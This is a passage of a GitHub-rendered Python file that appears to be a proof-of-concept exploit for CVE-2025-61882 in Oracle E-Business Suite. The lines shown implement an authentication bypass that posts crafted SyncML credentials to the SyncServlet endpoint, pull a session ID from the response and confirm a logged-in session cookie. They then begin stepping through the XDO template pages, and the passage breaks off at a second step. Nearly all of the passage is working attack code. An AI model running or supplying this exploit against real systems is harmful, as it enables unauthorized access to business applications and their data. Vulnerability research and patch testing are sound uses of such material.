          <td id="file-ebs_cve-2025-61882_poc-py-L55" class="blob-num js-line-number js-blob-rnum" data-line-number="55"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC55" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L56" class="blob-num js-line-number js-blob-rnum" data-line-number="56"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC56" class="blob-code blob-code-inner js-file-line"><span class="pl-k">def</span> <span class="pl-en">auth_bypass</span>(<span class="pl-s1">url</span>, <span class="pl-s1">username</span>):</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L57" class="blob-num js-line-number js-blob-rnum" data-line-number="57"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC57" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">try</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L58" class="blob-num js-line-number js-blob-rnum" data-line-number="58"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC58" class="blob-code blob-code-inner js-file-line">        <span class="pl-s1">headers</span> <span class="pl-c1">=</span> {</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L59" class="blob-num js-line-number js-blob-rnum" data-line-number="59"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC59" class="blob-code blob-code-inner js-file-line">            <span class="pl-s">'User-Agent'</span>: <span class="pl-c1">HEADERS</span>[<span class="pl-s">'User-Agent'</span>],</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L60" class="blob-num js-line-number js-blob-rnum" data-line-number="60"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC60" class="blob-code blob-code-inner js-file-line">            <span class="pl-s">'Content-Type'</span>: <span class="pl-s">'application/vnd.syncml+xml'</span>,</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L61" class="blob-num js-line-number js-blob-rnum" data-line-number="61"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC61" class="blob-code blob-code-inner js-file-line">        }</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L62" class="blob-num js-line-number js-blob-rnum" data-line-number="62"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC62" class="blob-code blob-code-inner js-file-line">        <span class="pl-s1">payload</span> <span class="pl-c1">=</span> <span class="pl-v">Base64</span>.<span class="pl-c1">b64encode</span>(<span class="pl-s">f"<span class="pl-s1"><span class="pl-kos">{</span><span class="pl-s1">username</span><span class="pl-kos">}</span></span>:Qwerty123!"</span>.<span class="pl-c1">encode</span>()).<span class="pl-c1">decode</span>()</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L63" class="blob-num js-line-number js-blob-rnum" data-line-number="63"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC63" class="blob-code blob-code-inner js-file-line">        <span class="pl-s1">data</span> <span class="pl-c1">=</span> <span class="pl-s">f'''&lt;?xml version="1.0" encoding="UTF-8"?&gt;</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L64" class="blob-num js-line-number js-blob-rnum" data-line-number="64"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC64" class="blob-code blob-code-inner js-file-line"><span class="pl-s">&lt;SyncML&gt;</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L65" class="blob-num js-line-number js-blob-rnum" data-line-number="65"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC65" class="blob-code blob-code-inner js-file-line"><span class="pl-s">  &lt;SyncHdr&gt;</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L66" class="blob-num js-line-number js-blob-rnum" data-line-number="66"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC66" class="blob-code blob-code-inner js-file-line"><span class="pl-s">    &lt;VerDTD&gt;1.1&lt;/VerDTD&gt;</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L67" class="blob-num js-line-number js-blob-rnum" data-line-number="67"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC67" class="blob-code blob-code-inner js-file-line"><span class="pl-s">    &lt;VerProto&gt;SyncML/1.1&lt;/VerProto&gt;</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L68" class="blob-num js-line-number js-blob-rnum" data-line-number="68"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC68" class="blob-code blob-code-inner js-file-line"><span class="pl-s">    &lt;SessionID&gt; 1&lt;/SessionID&gt;</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L69" class="blob-num js-line-number js-blob-rnum" data-line-number="69"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC69" class="blob-code blob-code-inner js-file-line"><span class="pl-s">    &lt;MsgID&gt;1&lt;/MsgID&gt;</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L70" class="blob-num js-line-number js-blob-rnum" data-line-number="70"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC70" class="blob-code blob-code-inner js-file-line"><span class="pl-s"></span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L71" class="blob-num js-line-number js-blob-rnum" data-line-number="71"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC71" class="blob-code blob-code-inner js-file-line"><span class="pl-s">    &lt;Target&gt;&lt;LocURI&gt;http://localhost&lt;/LocURI&gt;&lt;/Target&gt;</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L72" class="blob-num js-line-number js-blob-rnum" data-line-number="72"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC72" class="blob-code blob-code-inner js-file-line"><span class="pl-s">    &lt;Source&gt;&lt;LocURI&gt;device-123&lt;/LocURI&gt;&lt;/Source&gt;</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L73" class="blob-num js-line-number js-blob-rnum" data-line-number="73"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC73" class="blob-code blob-code-inner js-file-line"><span class="pl-s"></span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L74" class="blob-num js-line-number js-blob-rnum" data-line-number="74"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC74" class="blob-code blob-code-inner js-file-line"><span class="pl-s">    &lt;Cred&gt;</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L75" class="blob-num js-line-number js-blob-rnum" data-line-number="75"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC75" class="blob-code blob-code-inner js-file-line"><span class="pl-s">      &lt;Meta&gt;</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L76" class="blob-num js-line-number js-blob-rnum" data-line-number="76"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC76" class="blob-code blob-code-inner js-file-line"><span class="pl-s">        &lt;Format&gt;b64&lt;/Format&gt;</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L77" class="blob-num js-line-number js-blob-rnum" data-line-number="77"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC77" class="blob-code blob-code-inner js-file-line"><span class="pl-s">        &lt;Type&gt;syncml:auth-basic&lt;/Type&gt;</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L78" class="blob-num js-line-number js-blob-rnum" data-line-number="78"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC78" class="blob-code blob-code-inner js-file-line"><span class="pl-s">      &lt;/Meta&gt;</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L79" class="blob-num js-line-number js-blob-rnum" data-line-number="79"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC79" class="blob-code blob-code-inner js-file-line"><span class="pl-s">      &lt;Data&gt;<span class="pl-s1"><span class="pl-kos">{</span><span class="pl-s1">payload</span><span class="pl-kos">}</span></span>&lt;/Data&gt;</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L80" class="blob-num js-line-number js-blob-rnum" data-line-number="80"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC80" class="blob-code blob-code-inner js-file-line"><span class="pl-s">    &lt;/Cred&gt;</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L81" class="blob-num js-line-number js-blob-rnum" data-line-number="81"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC81" class="blob-code blob-code-inner js-file-line"><span class="pl-s">  &lt;/SyncHdr&gt;</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L82" class="blob-num js-line-number js-blob-rnum" data-line-number="82"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC82" class="blob-code blob-code-inner js-file-line"><span class="pl-s"></span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L83" class="blob-num js-line-number js-blob-rnum" data-line-number="83"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC83" class="blob-code blob-code-inner js-file-line"><span class="pl-s">  &lt;SyncBody&gt;</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L84" class="blob-num js-line-number js-blob-rnum" data-line-number="84"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC84" class="blob-code blob-code-inner js-file-line"><span class="pl-s">    &lt;Alert&gt;</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L85" class="blob-num js-line-number js-blob-rnum" data-line-number="85"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC85" class="blob-code blob-code-inner js-file-line"><span class="pl-s">      &lt;CmdID&gt;1&lt;/CmdID&gt;</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L86" class="blob-num js-line-number js-blob-rnum" data-line-number="86"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC86" class="blob-code blob-code-inner js-file-line"><span class="pl-s">      &lt;Data&gt;200&lt;/Data&gt;</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L87" class="blob-num js-line-number js-blob-rnum" data-line-number="87"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC87" class="blob-code blob-code-inner js-file-line"><span class="pl-s">    &lt;/Alert&gt;</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L88" class="blob-num js-line-number js-blob-rnum" data-line-number="88"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC88" class="blob-code blob-code-inner js-file-line"><span class="pl-s">    &lt;Final/&gt;</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L89" class="blob-num js-line-number js-blob-rnum" data-line-number="89"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC89" class="blob-code blob-code-inner js-file-line"><span class="pl-s">  &lt;/SyncBody&gt;</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L90" class="blob-num js-line-number js-blob-rnum" data-line-number="90"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC90" class="blob-code blob-code-inner js-file-line"><span class="pl-s">&lt;/SyncML&gt;'''</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L91" class="blob-num js-line-number js-blob-rnum" data-line-number="91"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC91" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L92" class="blob-num js-line-number js-blob-rnum" data-line-number="92"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC92" class="blob-code blob-code-inner js-file-line">        <span class="pl-s1">r</span> <span class="pl-c1">=</span> <span class="pl-s1">requests</span>.<span class="pl-c1">post</span>(<span class="pl-s">f"<span class="pl-s1"><span class="pl-kos">{</span><span class="pl-s1">url</span><span class="pl-kos">}</span></span>/OA_HTML/SyncServlet"</span>, <span class="pl-s1">headers</span><span class="pl-c1">=</span><span class="pl-s1">headers</span>, <span class="pl-s1">data</span><span class="pl-c1">=</span><span class="pl-s1">data</span>, <span class="pl-s1">verify</span><span class="pl-c1">=</span><span class="pl-c1">False</span>, <span class="pl-s1">proxies</span><span class="pl-c1">=</span><span class="pl-c1">PROXY</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L93" class="blob-num js-line-number js-blob-rnum" data-line-number="93"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC93" class="blob-code blob-code-inner js-file-line">        <span class="pl-s1">xml_content</span> <span class="pl-c1">=</span> <span class="pl-s1">r</span>.<span class="pl-c1">text</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L94" class="blob-num js-line-number js-blob-rnum" data-line-number="94"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC94" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L95" class="blob-num js-line-number js-blob-rnum" data-line-number="95"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC95" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">try</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L96" class="blob-num js-line-number js-blob-rnum" data-line-number="96"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC96" class="blob-code blob-code-inner js-file-line">            <span class="pl-s1">root</span> <span class="pl-c1">=</span> <span class="pl-c1">ET</span>.<span class="pl-c1">fromstring</span>(<span class="pl-s1">xml_content</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L97" class="blob-num js-line-number js-blob-rnum" data-line-number="97"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC97" class="blob-code blob-code-inner js-file-line">            <span class="pl-s1">resp_uri</span> <span class="pl-c1">=</span> <span class="pl-s1">root</span>.<span class="pl-c1">find</span>(<span class="pl-s">".//RespURI"</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L98" class="blob-num js-line-number js-blob-rnum" data-line-number="98"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC98" class="blob-code blob-code-inner js-file-line">            </td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L99" class="blob-num js-line-number js-blob-rnum" data-line-number="99"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC99" class="blob-code blob-code-inner js-file-line">            <span class="pl-k">if</span> <span class="pl-s1">resp_uri</span> <span class="pl-c1"><span class="pl-c1">is</span> <span class="pl-c1">not</span></span> <span class="pl-c1">None</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L100" class="blob-num js-line-number js-blob-rnum" data-line-number="100"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC100" class="blob-code blob-code-inner js-file-line">                <span class="pl-s1">raw_value</span> <span class="pl-c1">=</span> <span class="pl-s1">resp_uri</span>.<span class="pl-c1">text</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L101" class="blob-num js-line-number js-blob-rnum" data-line-number="101"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC101" class="blob-code blob-code-inner js-file-line">                <span class="pl-s1">decoded_value</span> <span class="pl-c1">=</span> <span class="pl-en">unquote</span>(<span class="pl-s1">raw_value</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L102" class="blob-num js-line-number js-blob-rnum" data-line-number="102"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC102" class="blob-code blob-code-inner js-file-line">                <span class="pl-s1">parsed_url</span> <span class="pl-c1">=</span> <span class="pl-s1">urlparse</span>.<span class="pl-c1">urlparse</span>(<span class="pl-s1">decoded_value</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L103" class="blob-num js-line-number js-blob-rnum" data-line-number="103"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC103" class="blob-code blob-code-inner js-file-line">                <span class="pl-s1">query_params</span> <span class="pl-c1">=</span> <span class="pl-en">parse_qs</span>(<span class="pl-s1">parsed_url</span>.<span class="pl-c1">query</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L104" class="blob-num js-line-number js-blob-rnum" data-line-number="104"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC104" class="blob-code blob-code-inner js-file-line">                <span class="pl-s1">sid_value</span> <span class="pl-c1">=</span> <span class="pl-s1">query_params</span>.<span class="pl-c1">get</span>(<span class="pl-s">'sid'</span>, [<span class="pl-c1">None</span>])[<span class="pl-c1">0</span>]</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L105" class="blob-num js-line-number js-blob-rnum" data-line-number="105"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC105" class="blob-code blob-code-inner js-file-line">                <span class="pl-k">return</span> <span class="pl-s1">sid_value</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L106" class="blob-num js-line-number js-blob-rnum" data-line-number="106"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC106" class="blob-code blob-code-inner js-file-line">            <span class="pl-k">else</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L107" class="blob-num js-line-number js-blob-rnum" data-line-number="107"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC107" class="blob-code blob-code-inner js-file-line">                <span class="pl-en">print</span>(<span class="pl-s">"[-] RespURI tag not found"</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L108" class="blob-num js-line-number js-blob-rnum" data-line-number="108"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC108" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L109" class="blob-num js-line-number js-blob-rnum" data-line-number="109"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC109" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">except</span> <span class="pl-c1">ET</span>.<span class="pl-c1">ParseError</span> <span class="pl-k">as</span> <span class="pl-s1">e</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L110" class="blob-num js-line-number js-blob-rnum" data-line-number="110"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC110" class="blob-code blob-code-inner js-file-line">            <span class="pl-en">print</span>(<span class="pl-s">f"[-] XML Parsing Error: <span class="pl-s1"><span class="pl-kos">{</span><span class="pl-s1">e</span><span class="pl-kos">}</span></span>"</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L111" class="blob-num js-line-number js-blob-rnum" data-line-number="111"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC111" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L112" class="blob-num js-line-number js-blob-rnum" data-line-number="112"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC112" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">return</span> <span class="pl-c1">None</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L113" class="blob-num js-line-number js-blob-rnum" data-line-number="113"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC113" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">except</span> <span class="pl-s1">requests</span>.<span class="pl-c1">RequestException</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L114" class="blob-num js-line-number js-blob-rnum" data-line-number="114"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC114" class="blob-code blob-code-inner js-file-line">        <span class="pl-en">print</span>(<span class="pl-s">"[-] Something went wrong during auth bypass. Check manually."</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L115" class="blob-num js-line-number js-blob-rnum" data-line-number="115"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC115" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">return</span> <span class="pl-c1">None</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L116" class="blob-num js-line-number js-blob-rnum" data-line-number="116"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC116" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L117" class="blob-num js-line-number js-blob-rnum" data-line-number="117"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC117" class="blob-code blob-code-inner js-file-line"><span class="pl-k">def</span> <span class="pl-en">get_cookies</span>(<span class="pl-s1">url</span>, <span class="pl-s1">sid</span>):</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L118" class="blob-num js-line-number js-blob-rnum" data-line-number="118"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC118" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">try</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L119" class="blob-num js-line-number js-blob-rnum" data-line-number="119"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC119" class="blob-code blob-code-inner js-file-line">        <span class="pl-s1">cookies</span> <span class="pl-c1">=</span> {<span class="pl-s">"EBSDB"</span>: <span class="pl-s1">sid</span>}</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L120" class="blob-num js-line-number js-blob-rnum" data-line-number="120"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC120" class="blob-code blob-code-inner js-file-line">        <span class="pl-s1">r</span> <span class="pl-c1">=</span> <span class="pl-s1">requests</span>.<span class="pl-c1">get</span>(<span class="pl-s">f"<span class="pl-s1"><span class="pl-kos">{</span><span class="pl-s1">url</span><span class="pl-kos">}</span></span>/OA_HTML/OA.jsp?OAFunc=OANEWHOMEPAGE"</span>, <span class="pl-s1">cookies</span><span class="pl-c1">=</span><span class="pl-s1">cookies</span>, <span class="pl-s1">verify</span><span class="pl-c1">=</span><span class="pl-c1">False</span>, <span class="pl-s1">proxies</span><span class="pl-c1">=</span><span class="pl-c1">PROXY</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L121" class="blob-num js-line-number js-blob-rnum" data-line-number="121"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC121" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">if</span> <span class="pl-s">"Logged In As"</span> <span class="pl-c1">in</span> <span class="pl-s1">r</span>.<span class="pl-c1">text</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L122" class="blob-num js-line-number js-blob-rnum" data-line-number="122"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC122" class="blob-code blob-code-inner js-file-line">            <span class="pl-en">print</span>(<span class="pl-s">"[+] Successfully obtained session cookies!"</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L123" class="blob-num js-line-number js-blob-rnum" data-line-number="123"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC123" class="blob-code blob-code-inner js-file-line">            <span class="pl-s1">cookies</span>.<span class="pl-c1">update</span>(<span class="pl-s1">r</span>.<span class="pl-c1">cookies</span>.<span class="pl-c1">get_dict</span>())</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L124" class="blob-num js-line-number js-blob-rnum" data-line-number="124"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC124" class="blob-code blob-code-inner js-file-line">            <span class="pl-k">return</span> <span class="pl-s1">cookies</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L125" class="blob-num js-line-number js-blob-rnum" data-line-number="125"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC125" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">else</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L126" class="blob-num js-line-number js-blob-rnum" data-line-number="126"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC126" class="blob-code blob-code-inner js-file-line">            <span class="pl-en">print</span>(<span class="pl-s">"[-] Failed to obtain valid session cookies."</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L127" class="blob-num js-line-number js-blob-rnum" data-line-number="127"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC127" class="blob-code blob-code-inner js-file-line">            <span class="pl-k">return</span> <span class="pl-c1">None</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L128" class="blob-num js-line-number js-blob-rnum" data-line-number="128"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC128" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">except</span> <span class="pl-s1">requests</span>.<span class="pl-c1">RequestException</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L129" class="blob-num js-line-number js-blob-rnum" data-line-number="129"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC129" class="blob-code blob-code-inner js-file-line">        <span class="pl-en">print</span>(<span class="pl-s">"[-] Something went wrong while getting cookies. Check manually."</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L130" class="blob-num js-line-number js-blob-rnum" data-line-number="130"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC130" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">return</span> <span class="pl-c1">None</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L131" class="blob-num js-line-number js-blob-rnum" data-line-number="131"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC131" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L132" class="blob-num js-line-number js-blob-rnum" data-line-number="132"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC132" class="blob-code blob-code-inner js-file-line"><span class="pl-k">def</span> <span class="pl-en">step_1</span>(<span class="pl-s1">url</span>):</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L133" class="blob-num js-line-number js-blob-rnum" data-line-number="133"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC133" class="blob-code blob-code-inner js-file-line">    <span class="pl-en">print</span>(<span class="pl-s">"[*] Starting Step 1: Naviating to /OA_HTML/RF.jsp?function_id=XDO_TEMPLATES"</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L134" class="blob-num js-line-number js-blob-rnum" data-line-number="134"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC134" class="blob-code blob-code-inner js-file-line">    <span class="pl-s1">url1</span> <span class="pl-c1">=</span> <span class="pl-s">f"<span class="pl-s1"><span class="pl-kos">{</span><span class="pl-s1">url</span><span class="pl-kos">}</span></span>/OA_HTML/RF.jsp?function_id=XDO_TEMPLATES"</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L135" class="blob-num js-line-number js-blob-rnum" data-line-number="135"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC135" class="blob-code blob-code-inner js-file-line">    <span class="pl-s1">response1</span> <span class="pl-c1">=</span> <span class="pl-s1">requests</span>.<span class="pl-c1">get</span>(<span class="pl-s1">url1</span>, <span class="pl-s1">headers</span><span class="pl-c1">=</span><span class="pl-c1">HEADERS</span>, <span class="pl-s1">cookies</span><span class="pl-c1">=</span><span class="pl-c1">COOKIES</span>, <span class="pl-s1">verify</span><span class="pl-c1">=</span><span class="pl-c1">False</span>, <span class="pl-s1">proxies</span><span class="pl-c1">=</span><span class="pl-c1">PROXY</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L136" class="blob-num js-line-number js-blob-rnum" data-line-number="136"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC136" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">return</span> <span class="pl-s1">response1</span>.<span class="pl-c1">text</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L137" class="blob-num js-line-number js-blob-rnum" data-line-number="137"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC137" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L138" class="blob-num js-line-number js-blob-rnum" data-line-number="138"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC138" class="blob-code blob-code-inner js-file-line"><span class="pl-k">def</span> <span class="pl-en">step_2</span>(<span class="pl-s1">url</span>, <span class="pl-s1">html_content</span>):</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L139" class="blob-num js-line-number js-blob-rnum" data-line-number="139"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC139" class="blob-code blob-code-inner js-file-line">    <span class="pl-en">print</span>(<span class="pl-s">"[*] Starting Step 2: Navigating to Create Template Page..."</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L140" class="blob-num js-line-number js-blob-rnum" data-line-number="140"></td>
